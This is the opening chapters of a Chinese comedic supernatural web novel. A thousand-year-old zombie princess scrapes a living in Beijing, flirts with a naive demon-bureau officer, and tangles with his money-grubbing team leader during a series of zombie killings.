《98%辛德瑞拉》
1. 千年老僵
京市,平安小区,晚11点。
安置房内萦绕着老物件独有的腐朽味道,客厅一片昏暗,唯有老式电视机的屏幕闪着幽暗的蓝光,伴着窗外月光勾勒出客厅内大致的轮廓,墙壁上挂着的钟表发出规律富有节奏的声音。
“滴答、滴答、滴答……”
“……近日京市发生多起连环凶杀案,行凶者尚未查明……相关部门已经采取措施,请广大市民注意自身防范,减少夜间活动,不要在偏远野外逗留,尽量结伴出行……”
表针走动声和新闻播报声交织在一起,辛姬抱臂伫立在客厅和玄关的交接处,微弱的月光倾洒落下,打在她黑而长的头发、细腻的肌肤以及修长的肢体上。
辛姬看看表,又看看门,表情越发烦躁。
真是的,这都几点了还不回家?
就算是出去点男模,这会儿也该完事了啊。
“哒!”
锁舌突然弹开,紧接着传来老旧防盗门的吱呀声。
“砰”的一声,一只惨白手掌猛然抓住了门的边缘,尖锐的长指甲刮擦门框发出刺耳的声音,铁锈皮扑簌扑簌往下落,随即一张惨白发绿的脸自门后探出来。
那张脸上透露出一种不似活人的灰败,一张嘴,喉咙里发出一阵诡异的声音:“咯咯咯……”
辛姬眼皮都没抬,“啪”地一巴掌甩过去,那“人”Duang地一声跌坐在地,随即捂着脸愣愣抬头:“咯……”
辛姬:“咯什么咯?生怕别人不知道你是千年出土的僵尸啊?你一个丫鬟,见天的在外头鬼混,放着你金尊玉贵的主子在家,真是反了天了!”
邻居王大爷搂着舞伴的腰路过,见状一撇嘴,阴阳怪气道:“AUV,您吉祥~”
辛姬:“……”
等王大爷和舞伴一起走远,辛姬鼻孔朝天伸出脚,命令的语气不容置喙:“辛德瑞拉,给我穿鞋!”
“……”
辛德叹了口气,一边给辛姬穿鞋一边卑微请求:“可不可以不要叫我辛德瑞拉,我也想当公主……叫我海藻公主吧?”
辛姬眼眸微眯,倏地贴近对方的脸庞,眼中散发着猩红的光芒:“你不是公主,我才是公主——”
“大哥喝一杯吧~大哥喝一杯吧!”
酒吧调酒台旁,辛姬以金鸡独立的姿势稳稳站定,她一手稳稳端着托盘,另一只手举着一次性小试用杯朝着过往顾客热情兜售:“不要9998,也不要1998,只要998!万参之王补肾酒带回家!”
“大哥喝一杯吧~”
辛姬笑容璀璨,朝着某个顾客递去小试用杯,却惨遭无视,她收手抬手,呲溜一口将参酒一饮而尽。
“大哥喝一杯吧~”
辛姬热情地朝着另一个顾客递去小试用杯,顾客正想伸手去接,她又利落收手一饮而尽。
伸出手拿了个空的顾客:“……”
辛姬一杯接一杯啜饮,丝毫没有分享或者说是正经投入酒吧推销员工作的意思。
苦酒入喉心作痛,没想到她堂堂公主竟沦落至此,痛,太痛了!
呲溜~
与此同时,酒吧二楼的某个包间打开了门,一男一女先后走了出来。
跟在后方的女人身材火辣长相美艳,赫然是近期活跃在荧幕上的高冷厌世脸小明星胡薇薇,一向对媒体资本家不假辞色的胡薇薇脸上此刻堆满了笑意,甚至显得有些谄媚。
站在胡薇薇前方的年轻男人长相俊朗,此时正攥着一叠红色大钞数得指头翻飞,速度堪比点钞机,数了三遍确定数目后,他才满意点头:“OK,胡家这个月的保护费结清了。”
“以后还得麻烦你多关照。”
胡薇薇面上笑得花枝乱颤,内心暗骂。
破道士,拿着鸡毛当令箭,抢俺妖精血汗钱!狗道士,怪不得叫皮貅,估计你爹那老道士掐指一算也发现你特么是貔貅转世吧,哪天让你踢到块铁板……
皮貅眼眸一转,锐利眼眸仿佛能洞察妖心:“咒我呢?”
胡薇薇干笑:“嗯呢。”
“咒,随便咒,每个月钱交够就行,”皮貅将大钞揣进兜里,大方道,“别舍不得这点小钱儿,等你落难了,皮爷罩你。”
胡薇薇发自肺腑挤出一丝冷笑。
皮貅懒洋洋开口:“最近风向不太对,妖物伤人案一下子多了好几起,上头正在严查,你跟你那一家老小都收紧皮子过活,别冒头,小心被上头顺道灭了……那谁?”
皮貅眯眼看向一楼调酒台,只见熙熙攘攘的人群中,有个金鸡独立的傻帽周身萦绕着淡淡的尸气,在昏暗灯光映照下,那张大饼脸上还散发着荧荧幽光,跟灯泡似的。
皮貅眼都被晃了一下。
胡薇薇顺着皮貅的目光看去,只看见满满一舞池人,她沉吟片刻,选择了一个皮貅可能喜欢的回答:“一些迷失在欲望当中的可怜人?”
皮貅瞥了胡薇薇一眼,转身离开的同时冷嗤道:“傻帽。”
胡薇薇:“……”
“大哥喝一杯……”
辛姬热情洋溢兜售的手忽然被人攥住,她稀里糊涂被人拽到拐角,刚一站定,就见眼前站了个年轻男人。
在这暧昧丛生的酒吧,辛姬瞬间懂了。
她唰啦一下扯开风衣,数个酒瓶挂在风衣内衬上叮呤咣啷响:“小伙子,买人参补肾酒的吧?998,1998,还有9998,什么价位的都有,你看你要哪种?”
皮貅从鼻头发出一声鄙夷的轻嗤:“9998一瓶?你这里头泡的是什么?千年老僵?”
辛姬想了一下,沉痛点头:“可以有。”
下一秒,皮貅摸出一把小匕首,上上下下打量了辛姬几遍,最终敲定:“给我来个泡小拇哥的。”
辛姬:“……”
本想抖个机灵,没想到抖出去个小拇哥。
辛姬接过匕首,看了看神情严肃毫无反悔意思的皮貅,再拿匕首在小拇哥上比划了两下……她到底狠不下心,一裹风衣,连连摇头:“算了算了,不卖你了。”
说完她扭头就走,却被人一把按住肩头。
皮貅直接亮出证件,皮笑肉不笑:“一个僵尸,还敢在人群里头乱晃?捉妖局的,你暂住证拿出来看看!”
什么局?什么证?
辛姬看着皮貅证件上印着的符篆,顿时浑身一僵,大脑一片空白。
这反应,一看就是新出土的小僵尸,十有八九能诈点保护费出来。
皮貅嘴角微扬,心下势在必得,当即耀武扬威起来:“敢在京市当黑户,你胆子够大的呀,没出土多久吧?要是没人罩着,被我们捉妖局逮住,立刻剁成八瓣……”
“啪!”
皮貅只觉脑袋一痛,温热血液瞬间糊住眼睛,还带着一股怪异的酒香,他睁眼看去,就见那小僵尸转身呲溜一下钻进人海,转瞬不见了踪影。
晕倒的前一秒,皮貅咬着牙狰狞开口:“Shit!”
没有f。
————
“呼!”
“呼!”
辛姬慌不择路逃到酒吧后巷里,发现捉妖条子没追上来,才渐渐放松下来。
“吓死我了,呼……居然碰上个道士,真是点背……看来今天不宜工作,回家好了。”
“咯咯咯……”
阴暗小巷中,不知何时多出了一道怪异的声音,原本闷热的空气温度骤降,空中甚至凝结了灰暗的雾气。
“还没开单呢给我整这出,辛德还等着吃饭,忠义还得做手术……实在不行把这俩仆人优化算了……”
辛姬喃喃自语着往前走,一道黑影在她身后若隐若现,暗红眼睛闪烁着诡谲的光。
“咯咯……”
辛姬脚步一顿,猛然回头,身后空荡荡的,什么也没有……辛姬瞳孔顿时猛颤,她可是看了林X英全集的僵尸,当然懂得——越是这种平静的发展越危险。
“咯咯咯!”
仿佛牙齿或骨节快速抖动碰撞的声音骤然响起,一道黑影瞬间扑来。辛姬头都没抬,脚下猛然发力,跟个窜天猴似的呲溜一下窜上天。
黑影一下子扑了个空,脑袋一歪有些发愣。
破空声骤然响起,一颗子弹以掩耳不急迅雷之势瞬间打入黑影肩头,黑影身形一晃,如壁虎般攀爬上墙,潜入暗影中转瞬间消失不见。
迷雾散去的同时,一个穿着运动服的年轻男子匆匆跑进巷子,他看了眼地上喷溅的粘稠黑血,面露懊恼:“可恶,让它给跑了,小姐你……诶?
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”
年轻男子看向空荡荡的小巷,瞬间寒毛悚立。
刚刚那人呢?难道……
“嘿,诶嘿!我在这儿呢!”
一道声音自头顶响起,年轻男子赶紧抬头,正看见辛姬四肢牢牢扒紧路边大树的枝干,此时正朝他招手。
年轻男子目测了一下辛姬与地面至少三四米的直线距离,有些沉默。
这么短的时间,这么长的距离,她是怎么爬上去的……肾上腺素,想必是求生之际身体爆发出的肾上腺素帮助这位女士突破了人体的极限!
伟大的科学!
年轻男子感慨的同时,辛姬手脚一松,整个人如同一片落叶打着旋轻轻飘了下来,她落地后一抬眼,正跟对方四目相对。
浓眉大眼,剑眉星目,辛姬心脏重重一跳,仿佛是陷入了爱情。
正巧年轻男子神色凝重,发出担忧的询问:“小姐,你没事吧?”
辛姬捂着心口“哎呦”一声,身形晃悠,看起来那叫一个弱柳扶风:“刚刚真是太恐怖了,我好害怕……”
“咔嚓!”
闪光灯骤然亮起,辛姬皱着眉头的痛苦脸庞被拍了下来。
辛姬:“……你这是干嘛?”
刚刚拍的那张照,好不好看啊?
年轻男子举着手机比了个噤声的手势,他按了几下按键,手机随即发出毫无感情的机械音。
“印堂发黑,眼神带煞,面部黯淡无光,性情多急躁刻薄,命途多舛,阴气重,不宜夜间出行,不宜前往偏僻无人之地,宜居家运动锻炼增强体魄。”
“怪不得会吸引到那些脏东西,施主,你身上阴气很重啊,”年轻男子眉头紧拧,“我叫郑清心,是捉妖局的工作人员,说出来你可能不信……刚才你被僵尸袭击了!”
郑清心严肃地看着辛姬,辛姬回看着郑清心,她顿了两秒,捂着心口想做出一个符合普通人类的反应,一不小心用力过猛:
“僵尸?什么叫……僵尸?”
郑清心看着对方求知若渴的眼神,喉头一哽。
华夏净网还是做得太好了,这年头,还有人不知道僵尸呢。
郑清心凝重道:“你不知道也好,鉴于你有被二次迫害的风险,我这边会提供给你几张护身符篆,你带手机了吗?”
辛姬赶紧掏手机:“带了带了。”
两人刚加上X信,辛姬的手机叮铃咣当一通响,她低头一看,猝不及防对上一连串符篆图片,顿时一阵眩晕,打着摆子刚想叫郑清心别发了。
郑清心一下抓住辛姬的手,满脸正气,骄傲一笑:“别推辞!这是捉妖局免费为我们市民发放的,万一再遇到危险可以点开应急,虽然效果比实体符篆削弱了70%,但是够你清醒地面对一切了。”
辛姬晕得站不住,只能热泪盈眶:“谢谢捉妖局。”
“小姐,赶紧回家吧,近期少在夜间出行,放心,我们捉妖局一定会尽早抓获害人僵尸,还京市一片和谐友爱美好蓝天。”
郑清心一脸正气地演讲完,转身就要走,下一秒他的胳膊却被拽住。
辛姬:“等等!”
见郑清心满脸诧异,辛姬心里一阵犹豫、纠结。
她可一千岁了,前男友都进棺材三百年了,不止是寂寞,她还很穷。
这个穷苦之家需要一个人操持里里外外,一天打三份工的辛德也得喘口气。
种种情绪最终化为坚定,辛姬心里热血沸腾,握着郑清心的青葱小手,坚定道:
“我来帮你抓僵尸吧!”
————
“你说什么?”
急诊室门口,皮貅脑袋上缠着纱布绷带,他一手攥着一沓化验报告缴费单,另一手拎着开他瓢的参酒瓶子,肩头和脑袋之间夹着手机,浑身充满低气压。
“有人自告奋勇当诱饵?”
这年头,有人出个夜间任务碰上舍己为人的圣母,眼看就要立大功,还有人呕心沥血挣外快,却惨遭恶毒僵尸辣手开瓢。
天道不公!
皮貅心中那叫一个妒火翻腾,从喉头挤出一声冷呵:“你听她吹呢?她就是馋你那五百块钱的举报费——让她滚!”
他这就回家拿铜钱剑,京市所有僵尸,都给它剁成八瓣!
2. 财富密码
“所以,这就是你陪热心市民看夜场电影的理由?”
捉妖局某间办公室里,皮貅把发票撂在桌上,看着郑清心轻嗤一声。
郑清心站姿笔直:“辛小姐说,黑暗、恐惧和刺激是僵尸最喜欢的氛围,夜间的影院完美符合这几点,一定会有僵尸出没的,组长,您看这夜场电影票钱能不能……”
皮貅冷酷无情:“报不了。”
郑清心欲言又止老半天,最后还是开不了口据理力争,转身离开。
皮貅一抬眼皮:“干嘛去?”
“辛小姐跟我约好今天去游乐园碰碰运气,她说那里一定有僵尸。”
皮貅冷笑。
郑清心这大傻子没反应过来,他可是门清儿——那个热心市民“辛小姐”绝对是看上了郑清心,借着抓僵尸的名头在趁机撩人。
按理说他该提醒一下新人,但……这关他什么事?
不对……还真关他的事,毕竟皮貅正需要一个跑腿干杂事的马仔,精力充沛还淳朴的郑清心简直是个送上门的免费劳动力,要是能抓住郑清心的小辫子,那不就可以随便使唤他了?
皮貅精神一振,拿起车钥匙就往外走。
————
游乐园里,郑清心和辛姬刚碰面,辛姬就指着摩天轮振振有词。
“这么高,运作时间又长,游客叫天天不应,叫地地不灵,简直是僵尸发动袭击的最佳地点。”
“我要是僵尸,我肯定搁这儿下手!”
郑清心满脸信服。
从摩天轮上下来,辛姬又把郑清心拽到了海盗船前。
“这是海盗船吗?不,这里是僵尸的自助餐盘!你看看,所有人都被安全带系在上头,根本逃不掉,僵尸出现了,可不是逮着哪个吃哪个?”
辛姬这么说着,感觉都要流口水了,赶紧一抹嘴。
郑清心疑惑发问:“怎么了?”
“想想就觉得可怕,”辛姬抹嘴遗憾道,“吓得我流口水。”
十分钟后,两人从海盗船上走了下来,辛姬深深地嗅着身后浓重的人味。
馋,真是馋得慌!
可惜她还得赶进度,否则真想在这海盗船待上个把小时。
辛姬有些遗憾,但还是以大局为重,毕竟她那个嗷嗷待哺的家急切地需要一个主人分摊经济压力:“接下来去鬼屋吧,那里黑咕隆咚的,还充满尖叫和恐惧,简直是僵尸的乐园……”
辛姬伸手想要去拽,却没拽动,她回头一看,正看见郑清心凝重低头看着手里的陌生仪器。
黑色手柄上固定着一块屏幕,屏幕上一个圆圈正疾速转动,随着灯光忽明忽暗那圆圈隐隐有变色的趋势。
“叮咚!”
眼见妖气检测仪最终定格为白色圆圈,郑清心顿时舒了口气。
“是最低等级……辛小姐,这周围没有尸气,僵尸应该不在这附近。今天也耽误你不少时间了,要不我们就散了吧,我去别的地方……”
散了?那他们的感情不也就散了?!
这可不行啊!
辛姬一把抓住转身欲走的郑清心,掷地有声:“别走!其实我……我有事没告诉你……有只僵尸一直跟着我!”
郑清心:“什么?”
辛姬:“昨天还在床头看了我一夜!你看,我拍的照片!”
辛姬掏出手机往对面一怼,屏幕上赫然是辛德躺在床上怒瞪着眼睡觉的照片,那小脸儿惨绿,獠牙长到撑着下嘴皮,一看就是个道地僵尸。
郑清心大惊:“辛小姐,她抢了你的床!”
“是啊!”辛姬抚掌大叹,“吓得我一下蹿上房梁,一宿都没敢下来。”
郑清心被屏幕上的画面冲击得无以复加,也顾不上探究现在这年代到底什么房子还有房梁这玩意儿。
辛姬抓住郑清心细嫩的小手,挽留的同时趁机揩油:“这僵尸跟了我一整天呢,有好多细节我都没来得及说……咱们找个地方慢慢聊。”
“行!”
郑清心点头,等他一转身,辛姬立马掏出手机发消息。
【辛姬发送定位】
【辛姬:十分钟内过来,不然把你脑袋揪下来。】
【辛德:唉。】
8分钟后,小脸歘白的辛德躲在不远处的大树后隐晦招手。
辛姬正好摸郑清心小手摸得厌烦疲倦,见状心下一喜,立刻盘算起来。
辛德已经就位,接下来就该她引导郑清心……
“哔!哔!哔!”
妖气检测仪忽然爆发出响亮的声音,郑清心掏出仪器,看到屏幕上闪烁着的黄色箭头时神色瞬间凝重:“僵尸出现了!”
这么快就被发现了?!
辛姬还没来得及反应,郑清心已经猛地朝着辛德藏身的位置冲了过去,只留下一句响亮的嘱咐——
“辛小姐,这里危险,你快走!”
大树之后,辛德眼见郑清心边冲边掏法器,她也不再隐藏,俯着身躯如野兽般冲出来,口中还发出令人恐怖的嘶吼声:“吼!”
辛姬直接尖叫出一段叹咏调:“天呐!这就是僵尸吗?我好……”
一个“怕”字还没说出来。
一道敏捷的黑影从天而降,长臂一展,“唰”地一下,铜钱剑在空中挥出残影。
利器瞬间划开血肉,与骨头碰撞发出可怖的碎裂声,鲜红血液在空中飞溅,直接泼了郑清心一头一脸,辛德的身体保持着俯冲姿势噗通一下冲向地面,脑袋却沿着抛物线飞出,随即咕噜咕噜滚到了辛姬脚边。
那黑影甩了一下铜钱剑,冷漠回头,正是追赶郑清心而来的皮貅。
“我说过,京市所有的僵尸都得死。”
下一秒,皮貅直接和辛姬对上了视线,两人俱是身体一僵,认出了对方。
虽然他本意是来抓郑清心小辫子,但没想到对方还真诱出来个光天化日行凶的僵尸,顺便捞个功也不错——捞功的确令人愉悦,但他还看到了昨天一言不合开他瓢的元凶,这怎么不算三喜临门?
皮貅铜钱剑一甩,嘴角一扯,神色冷冽,一步一步朝着辛姬逼近。
没等他走到辛姬跟前,郑清心却把脸一抹,露出一副见了亲人的感动表情冲过来。
“组长!”
“起开!”
皮貅一把将郑清心推开,却见刚刚还呆立着的辛姬瞬间不见了踪影,他再一看,连刚才斩落的那只僵尸的脑袋都不见了。
没了物证,他还怎么领功?
皮貅顿时咬紧了后槽牙:“追!”
————
辛姬两腿一撒跑得飞快,转眼就把皮貅和郑清心远远甩开,等再也察觉不到那两人气息之后,她才扑腾着小心脏停下脚步。
怀里传出辛德闷闷的声音:“公主……好闷啊。”
“你又不用呼吸,管它闷不闷?”
辛姬抱怨着扯开风衣,心情十分地沉重。
这下是真完蛋了,赔了个老仆不说,还彻底给那什么局得罪了,对方肯定得扯一群道士来打她……
上次不小心被道士围剿还是百年之前,她两条胳膊都被削掉了,咬着辛德的脑袋跑进了深山,光两只手都长了几十年,那次真是给她吓惨了……
辛姬想着,忽然感觉肩头一沉,脖颈处传来一道微弱的声音。
“好香啊……”
辛姬扭头一看,正对上一张脏不溜丢的小黑脸,对方整个眼球漆黑一片,还闪烁着诡异的红光。
黑影张嘴的同时,发出咔吧咔吧的关节碰撞声:“你抱着的是什么……好香……”
“啪!”
辛姬一巴掌拍出去,黑影直接倒飞出去,“砰”一声在墙上撞出个大豁口,砖头窸窣掉落间,黑影趴在地上一动不动,连脑袋都被埋在砖块下。
“关你屁事?”辛姬裹紧风衣,白了对方一眼,“脏兮兮的一身腥,还敢往我身上靠?滚!”
辛姬转身就走,心情贼特么沉重。
这地儿真是待不下去了,还是赶紧拿了钱回山里过活。
几分钟后,辛姬的身影彻底消失不见,寂静的空间里,忽然响起一阵石块碰撞的细碎声音。
“哗啦啦!”
碎砖块儿四散滚落,黑影的脑袋重新回到阳光之下,茫然地转动着。
“好香啊……”
“想吃……”
黑影仿佛受了某种召唤,缓缓站起身后朝着辛姬离开的方向僵硬挪动。
————
酒吧,舞池人头攒动,音乐震耳欲聋,
隔着一扇门的经理室中却是另一片天地。
一个穿着燕尾服的中年微胖男人坐在茶几旁,他仔细地修剪着一根雪茄,刚将雪茄点燃,手旁茶壶又开始吱吱作响,于是忙不迭放下雪茄开始泡茶。
冒着热气的水哗啦啦倒进搪瓷杯,金黄色菊花在杯中沉浮。
辛姬揣着手蹲在一旁,这朴实的姿势、忧心的表情,看起来宛如
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田埂边观察庄稼长势的农民,欲言又止道:“杨经理……”
杨经理眼中闪过几分埋怨:“小辛呐,你忽然跟我提离职,还立刻就要薪水?这让我很难办呐。”
“嘶……”辛姬蛄蛹着歪了下屁股,又不知能说些什么,简直愁得要命,只能顺手摸过搁在桌上的雪茄猛抽几口,深深地叹气,“唉,家里还有嘴等着吃饭,我也是没办法。”
这简单的动作,这朴实却又直击旁人心灵的语言,瞬间就将一个一家之主的苦涩、心酸和性压抑展现得淋漓尽致。
然而杨经理当久了夜场经理,也见识过人间百态,自然是心硬如铁。
“哼,”他只是发出一声冷哼,“我老婆要生了,车贷房贷都压着,你跟我比压抑?”
辛姬不语,只是一味地扯开风衣:“其实我有一个女儿,曾经……”
风衣里,怒目圆睁大张着嘴的辛德脑袋就这么大喇喇地露了出来。
“噗!”
正准备饮茶的杨经理直接把茶缸子都甩了出去,满杯菊花茶哗啦一下全撒在了辛姬和辛德的脸上。
辛姬从容地抹了一把脸,再抽了一口浸湿的雪茄,雪茄屁股都咬烂了也没尝出什么滋味,她只好将雪茄扔在地上,重重地叹了口气:“唉!”
动作间,她怀里那颗脑袋跟着晃荡,嘴里茶水沉浮,金黄色小菊花如水中浮萍左右摇摆。
他以前也是混过社会的,腥风血雨的场面不知看过多少——但把脑袋揣怀里到处跑的,还真是头一回见。
杨经理越看越心惊,一想到这菊花茶还是他泼出去的,立马就想扇自己几巴掌,他颤颤巍巍伸手过去,还想把那朵小菊花拈出来,没成想手刚伸过去,那脑袋忽然一歪,脸颊就这么贴在他的手心里,温热。
“啊!”
啪!
杨经理惨叫一声,条件反射直接就是一巴掌。
辛姬一个哆嗦回过神来,拢了拢怀里的脑袋,有些疑惑:“你叫什么?”
杨经理哪儿敢说实话:“我……发泄压抑,发泄苦。”
压抑?苦?
辛姬一想到这两天的悲惨经历,简直感同身受。
她本来在京市待得好好的,事业蒸蒸日上,日子红红火火,现在好了,得背井离乡重回野人生活。
僵尸哪儿能跟道士斗?这下真是不走不行了。
那她也发泄发泄叫两声吧。
“啊!啊!啊!!!”
辛姬扯着嗓子开始嘶吼,杨经理听着看着这一幕,感觉贼瘆人,一心只想赶紧把这位可怜的母亲赶紧送走。
“大家过得都不容易,你今天过来干嘛?要钱?我现在就给你,你拿了赶紧走!”
杨经理说着,快步走到保险箱旁边。
辛姬瞬间噤声,抻着脖子还想看,却被杨经理以宽厚身躯挡了个严严实实。
“这个月你干了15天,一天工资208,总共是3120……”杨经理指如疾风,瞬间数出一小沓大钞,肉疼道,“这是3150,多的那些算我对你的支持。”
杨经理关上保险箱,正要把钱递给辛姬,忽然看到辛姬怀里那颗脑袋怒瞪的眼球往上一转,仿佛在数钱,他腿上一软,顺滑地跪了下去,面上不自觉带上了几分敬畏。
“您笑纳。”
工资到手的那一刻,攻防身份瞬间转变,辛姬一转身端坐在老板椅上,一张一张地数完,一甩头发就要走:“小杨啊,那咱们以后山水有相逢。”
可算要走了!
杨经理喜气洋洋帮着开门。
忽然,一枚刻着符篆的子弹自杨经理眼前疾速飞过,瞬间打在辛姬胸口,辛姬整个人咚地一下往后摔倒,大钞洋洋洒洒铺了一地……不,那点钱稀稀拉拉,只散落在辛姬周围,存在感微弱。
辛姬怀里的脑袋也咕噜咕噜滚到了一旁。
天爷啊!枪战!
杨经理整个人都呆住了,眼看辛姬死得透透的,他心中忽然生出一股豪情。
相识一场,他救不了辛姬,至少……要给她的女儿一个体面!
杨经理麻利端起地上的脑袋一溜烟跑到保险箱旁边。
“滴滴滴!”
一阵电子音响起,小保险箱的门被打开,杨经理坚定地将辛德的脑袋放了进去。
与此同时,躺在地上的辛姬眼睛一眨不眨,盯着保险箱方向,她僵硬毫无生机的脸上忽然泛上了一抹微笑。
财富密码,她记住了。
3. 震撼美味
杨经理做完好人好事,后颈忽然传来一阵剧痛,他两眼一翻晕死过去。
杨经理身后,辛姬忍着剧痛伸手摸上保险箱:“嘿嘿……”
下一秒,辛姬脸色一变,迅速歪头,原本要砸上她脑袋的拳头“砰”地一声砸上保险箱。
辛姬身子一矮,溜地滚了几圈,瞬间跟偷袭者拉开距离。
“哼!”皮貅把拳头收到身后甩了甩,冷笑道,“躲得还挺快。”
姗姗来迟的郑清心举着枪冲进经理室,他看着辛姬神色复杂:“辛小姐……”
“还叫什么辛小姐?”皮貅冷哼,“她都要吃人了!”
谁?谁要吃人?
辛姬眼珠一转,想不明白,但她深知高手过招最忌讳露怯,所以什么也没说,警惕地露出獠牙震慑对方。
一道闷闷的声音不知从哪儿发出,微弱却又游荡在整间经理室中:“各位——我想我们之间可能是有什么误会……”
“还有同伙?”皮貅一惊,低喝一声,“我来对付这个,郑清心,你把同伙揪出来!”
皮貅拎着铜钱剑直奔辛姬,胳膊一抡就朝对方脑袋劈去,辛姬两手握爪直接抓住铜钱剑两端,用力一转,咔嚓一下就要咬在剑上。
皮貅掌如疾风攥着铜钱剑两端猛地一拽。
“锵!”
铜钱剑瞬间断成两截,从辛姬掌中脱出,她眼睁睁看着皮貅噌噌退后几步,随即把断成两截的铜钱剑怼在一起狠狠一按,剑又重新连在了起来,
“傻眼了吧?”皮貅冷哼,“我这是可拆卸的。”
话音未落,皮貅胳膊猛地一甩,一道黑影飞快袭来。
暗器?!
辛姬挥手想打落,结果那道黑影竟然旱地拔葱往上跳了一下停住,辛姬定睛一看,那竟是一架小飞机,机翼正嗡嗡作响,还从底部弹出一个小音响。
“千里魂灵至,急急入窍上……嘛咪嘛咪哄……”
竟是佛道一体驱邪咒语?!
辛姬大惊,挥着爪子往上一捞,小飞机又是一个自动闪避、从她爪下疾速绕开。
“它可装载了防撞系统,是高科技,没见过吧?土鳖!”皮貅嘴角一扯,凉凉道,“皮皮,加大音量!”
下一秒,小飞机的念咒声骤然调高,直接压过外头震天响的音响,在整个经理室内回荡。
“雕虫小技!”辛姬眼中红光闪过,神色危险,“老娘分分钟咬死你。”
“就你这样的僵尸?”皮貅微眯的眼眸越发冷冽,“我分分钟把你砍成八瓣!”
两人对视片刻,忽然同时飞身一跃,皮貅举起铜钱剑,辛姬亮出尖锐指甲,两人眼看就要缠斗在一起。
“啊啊啊!死人了!!!”
一门之隔的外头忽然爆发出慌乱的惊呼,昏死半天的杨经理歘一下站起来,不偏不倚正站到了这场人僵大战的中央:“谁死了?”
眼看铜钱剑和僵尸爪即将穿透杨经理的身体,郑清心倒吸一口凉气,当场飞跃腰身一拧,一脚一个直接把皮貅和辛姬都踢飞了出去。
“轰!”
辛姬狠狠撞在墙上摔落在地,砸得头晕眼花,她顾不上痛处一骨碌爬起来转身就要跑,下一秒,只觉手腕一疼猛然被人擒住,她还没来得及反应就被一股大力拽了回去。
“咔哒!”
辛姬两手都被银手镯拷住,仔细一看,上面还刻着符篆。
“撞我手里还想跑?”皮貅额角渗血,冷哼一声,扭头呼唤,“郑清心,过来把……”
尘土散去,郑清心老实巴交站得笔直,脚边赫然是口吐白沫又晕过去的杨经理。
“……你先把他整醒。”皮貅说完,捂着腰子又瞪了一眼郑清心,一字一句道,“劲儿挺大啊。”
郑清心对上皮貅怒视的目光,不敢吭声,只一味地朝杨经理泼菊花茶。
五分钟后,杨经理晕头晕脑跟在郑清心后头,皮貅拎着辛姬冷哼出声。
“行啊,走到哪儿吃到哪儿,你这僵尸过得够自在啊。”
“我没吃!我没吃!”这下辛姬可算明白她摊上什么事了,冤枉得眼泪水都要飚出来了,只一个劲扯着嗓子喊,“天王老子来了,人也不是我吃的!”
皮貅一句不听:“走吧,去看看你犯的案。”
出了命案,原本人声鼎沸的酒吧立刻变得空荡荡的,许多警察正维持混乱的秩序。
见皮貅等人走出经理室,立马有警察警惕上前,扫视了几人一眼:“你们是干什么的?”
皮貅正要说话,一个三十来岁的瘦高个匆匆走进酒吧:“你好,我是特殊案件处理科的秦英……”
话音未落,秦英错愕地看着皮貅:“组长?你又抢功来了?”
“咳咳!”皮貅瞪着对方,从喉头发出一声警告。
片刻之后,皮貅和秦英站在远离人群的角落里,秦英小声汇报情况。
“五分钟前这里发生了一起命案,警局的同僚发现受害者尸体残缺,脖颈、胳膊有僵尸咬痕,看起来跟前几起僵尸作案细节有些相似,所以联系了咱们捉妖局。不过当时现场混乱很多人已经跑了,我们刚才在附近没有探测到尸气,那僵尸恐怕已经逃了,现在只能依靠尸体寻找线索了。”
“逃?不见得。”
皮貅冷笑着,伸手就要去拎辛姬,辛姬见状立马挣扎躲避,下一秒,一道黑影瞬间从皮貅面前擦过——
“杰——西!”
杨经理一个飞扑冲到死者身边,捶地痛哭:“杰西!你走了我可怎么活啊?!”
关系这么亲密啊?
辛姬这下也顾不上躲了,巴巴地凑过去看:“这就是你老婆啊?”
“装什么,你咬死的你不认识?”皮貅拎开辛姬
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,看向杨经理,“你认识死者?”
杨经理抽噎着开口:“杰西是我们酒吧的常客,出手非常阔绰,上个月我们酒吧的业绩有一半都是他贡献的,听说他妈妈是个小国酋长,富得流油,年近七十还有八十多个男宠……”
有富婆?
皮貅一捋头发露出帅气脸庞,简直像个发光孔雀:“杰女士现在一定很悲痛吧?我来安慰安慰她。”
郑清心斜楞着眼瞥了皮貅一眼。
皮貅瞬间敏锐扭头:“看我干嘛?”
郑清心梗着脖子一心为公:“组长,我觉得咱们应该把心思放在破案上。”
“这不是在破吗?”皮貅不耐烦地翻了个白眼,一把把辛姬薅过来,直接按着脑袋把她怼到死者脖颈前,“现场就你一个僵尸,来,验一下咬痕。”
浓重的香水、狐臭和脚臭味扑面而来。
辛姬被辣得干呕了一声,扭头拒不配合:“别费劲了,我从不在男人身上留下吻痕。”
皮貅才懒得纠正咬痕和吻痕的区别,颇有技巧地一捏辛姬的下巴,往尸首上一按。
“噗呲——”
獠牙瞬间没入皮肉,带来一股屎味巧克力般浓厚醇香的震撼美味。
辛姬一整个瞳孔震颤,大张着嘴巴呐喊出声,整个人几乎从这个四维世界抽离出去:“啊啊啊啊啊!!!!”
辛姬连滚带爬扑到一旁,拿起纸巾疯狂擦拭,片刻之后她砸吧了一下嘴,又呕了一声,掏出一大瓶漱口水咕噜咕噜漱口,最后拿起大瓶消毒酒精往獠牙上狂喷。
噗呲噗呲声中,皮貅蹲在地上拧眉端详尸首上留下的两种咬痕,片刻之后,不悦地啧了一声。
“咬痕怎么不一样呢?”
“……因为辛小姐不是凶手,”郑清心端着笔记本电脑叹了口气,“视频监控我都拿过来了,她进经理室的时候,死者还在舞池里头开香槟塔呢。”
“滋啦滋啦——”
一阵锯声传来,郑清心和皮貅齐齐扭头,就看见辛姬已经开始拿着小铁片锯獠牙了。
皮貅又啧了一声:“她的身份查到了吗?有没有犯过其他事?”
……真小心眼啊。
郑清心摇头:“没有,看辛小姐的样子,她估计刚出土不久。”
言外之意,有可能是个黑户。
皮貅顿时眼前一亮:“那就带她去补办身份证。”
他一扯郑清心脖领子,低声吩咐:“让她补最高档次的税,交最多的钱儿……你懂我意思吗?”
“明白了,明白了。”
郑清心赶紧把脖领子揪出来,转身正要走,忽然转念一想:“那组长你呢?”
皮貅抻了抻衣领,帅得像个男模:“我当然是去安慰一下杰女士。”
郑清心:“……”
这种人也能当组长,捉妖局真是没救了。
4. 摸爬滚打
辛姬站在酒吧门口,怀里还抱着颗脑袋。
辛德似乎受了惊吓,蔫头巴脑紧闭着嘴巴,辛姬这会儿也没心情安慰对方,等前往捉妖局的车停在面前,她深深地叹了口气。
是福不是祸,是祸躲不过。
她把辛德塞到旁边的郑清心怀里,两手一举头一抻,悲痛开口:“我准备好了!”
郑清心茫然出声:“……啊?”
“嗤!”
